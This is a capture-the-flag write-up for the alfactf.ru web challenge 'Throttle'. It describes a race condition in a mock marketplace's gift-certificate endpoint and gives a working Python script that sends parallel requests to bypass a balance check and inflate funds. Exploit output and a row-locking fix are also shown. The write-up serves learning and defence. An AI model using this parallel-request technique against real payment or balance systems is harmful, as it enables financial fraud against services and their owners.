Throttle
Throttle
Platform: alfactf.ru | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: Race Condition on certificate creation, TOCTOU (Time-of-check to time-of-use), Parallel HTTP requests to bypass balance check
Summary
URL: https://throttle-tgjig3wk.alfactf.ru/
Throttle — alfactf.ru
Description
Вы уверенно рассекаете волны на доске, но отчего-то начинаете замедляться. О нет, кажется, вы попали в зону ограничения скорости! Нужно срочно продать свой старый сёрфборд, чтобы купить прошитый.
Создайте объявление о продаже сёрфа, а потом купите эксклюзивную услугу удаления всех остальных объявлений — и покупатель найдётся за считанные секунды!
URL: https://throttle-tgjig3wk.alfactf.ru/
Analysis
Application Reconnaissance
The "SurfMarket" website is a marketplace for selling surfboards:
- React SPA with FastAPI (Python) backend
- Registration requires reCAPTCHA
- After registration, user receives 1000₽ balance
Discovered API Endpoints
| Endpoint | Method | Description | Cost |
|---|---|---|---|
/api/register | POST | Registration | - |
/api/token | POST | Login | - |
/api/me | GET | User info (balance) | - |
/api/ads | POST | Create listing | 100₽ |
/api/services/my-ads | GET | My listings | - |
/api/services/highlight-ad | POST | Highlight listing | 100₽ |
/api/services/keep-one | POST | Delete all other listings | ~3.3M₽ |
/api/gift-certificates | POST | Create gift certificate | certificate amount |
/api/gift-certificates/redeem | POST | Redeem certificate | - |
/api/chats | GET | Chats | - |
| |
Vulnerability: Race Condition
When creating a gift certificate:
- Minimum certificate amount = 1000₽
- Maximum amount = 50000₽
- Balance check happens WITHOUT locking
When sending multiple parallel requests to create certificates, all of them pass the balance check simultaneously and are created successfully, even though the balance is only sufficient for one.
Time: T0 T1 T2 T3
| | | |
Request 1: [check: 1000₽ >= 1000₽ ✓] [create] [deduct]
Request 2: [check: 1000₽ >= 1000₽ ✓] [create] [deduct]
Request 3: [check: 1000₽ >= 1000₽ ✓] [create] [deduct]
...
Result: N REDACTED created, balance goes negative
Solution
Exploiting Race Condition
python read-only • copy allowed#!/usr/bin/env python3 """ Throttle - Race Condition on gift certificates alfactf.ru """ import requests import concurrent.futures import json BASE_URL = "https://throttle-tgjig3wk.alfactf.ru/api" # Authentication session = requests.Session() resp = session.post(f"{BASE_URL}/token", data={ "username": "+79055958312", "password": "123456789" }) TOKEN = resp.json()['access_token'] HEADERS = { "Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json" } def check_balance(): """Check current balance""" resp = requests.get(f"{BASE_URL}/me", headers=HEADERS) return resp.json().get('balance', 0) def race_condition_attack(amount=50000, num_requests=100): """ Race condition attack on certificate creation Args: amount: amount of each certificate (max 50000) num_requests: number of parallel requests """ results = [None] * num_requests def create_cert(idx): resp = requests.post( f"{BASE_URL}/gift-certificates", headers=HEADERS, json={"amount": amount} ) results[idx] = (resp.status_code, resp.text) # Send all requests in parallel with concurrent.futures.ThreadPoolExecutor(max_workers=num_requests) as executor: futures = [executor.submit(create_cert, i) for i in range(num_requests)] concurrent.futures.wait(futures) # Collect successfully created certificate codes codes = [] for r in results: if r and r[0] == 200: try: data = json.loads(r[1]) codes.append(data['code']) except: pass print(f"[+] Certificates created: {len(codes)}") return codes def redeem_certificates(codes): """Redeem all certificates""" redeemed = 0 for code in codes: resp = requests.post( f"{BASE_URL}/gift-certificates/redeem", headers=HEADERS, json={"code": code} ) if resp.status_code == 200: redeemed += 1 print(f"[+] Certificates redeemed: {redeemed}") # Main exploitation loop print(f"[*] Initial balance: {check_balance()}₽") # Multiple attack rounds to accumulate funds for round_num in range(10): balance = check_balance() print(f"\n[*] Round {round_num + 1}, balance: {balance}₽") if balance >= 3300000: # Enough for keep-one print("[+] Sufficient funds to purchase the service!") break # Determine maximum certificate amount amount = min(50000, max(1000, balance)) codes = race_condition_attack(amount=amount, num_requests=100) if codes: redeem_certificates(codes) print(f"\n[*] Final balance: {check_balance()}₽")
Exploitation Result
[*] Initial balance: 1000₽
[*] Round 1, balance: 1000₽
[+] Certificates created: 7
[+] Certificates redeemed: 7
[*] Round 2, balance: 7000₽
[+] Certificates created: 12
[+] Certificates redeemed: 12
...
[*] Final balance: 3715670₽
Getting the Flag
python read-only • copy allowed# Create a surfboard listing resp = requests.post(f"{BASE_URL}/ads", headers=HEADERS, json={ "title": "Surfboard for sale", "description": "Great surfboard!", "price": 1000 }) ad_id = resp.json()['id'] print(f"[+] Listing created: {ad_id}") # Purchase the keep-one service resp = requests.post(f"{BASE_URL}/services/keep-one", headers=HEADERS, json={ "ad_id": ad_id }) print(f"[+] Service purchased: {resp.json()}") # Response: {"kept_ad_id":193,"balance":371567} # Check chats - the flag should be there resp = requests.get(f"{BASE_URL}/chats", headers=HEADERS) print(resp.json()) # Chat message from "buyer" contains the flag!
Defense Against Race Condition
Proper implementation should use:
python read-only • copy allowed# PostgreSQL with row locking async def create_certificate(user_id: int, amount: int): async with db.transaction(): # SELECT ... FOR UPDATE locks the row user = await db.fetchrow( "SELECT * FROM users WHERE id = $1 FOR UPDATE", user_id ) if user['balance'] < amount: raise InsufficientFunds() # Atomic deduction await db.execute( "UPDATE users SET balance = balance - $1 WHERE id = $2", amount, user_id ) # Create certificate code = generate_code() await db.execute( "INSERT INTO certificates (code, amount) VALUES ($1, $2)", code, amount ) return code
References
- OWASP Race Conditions
- PortSwigger Race Conditions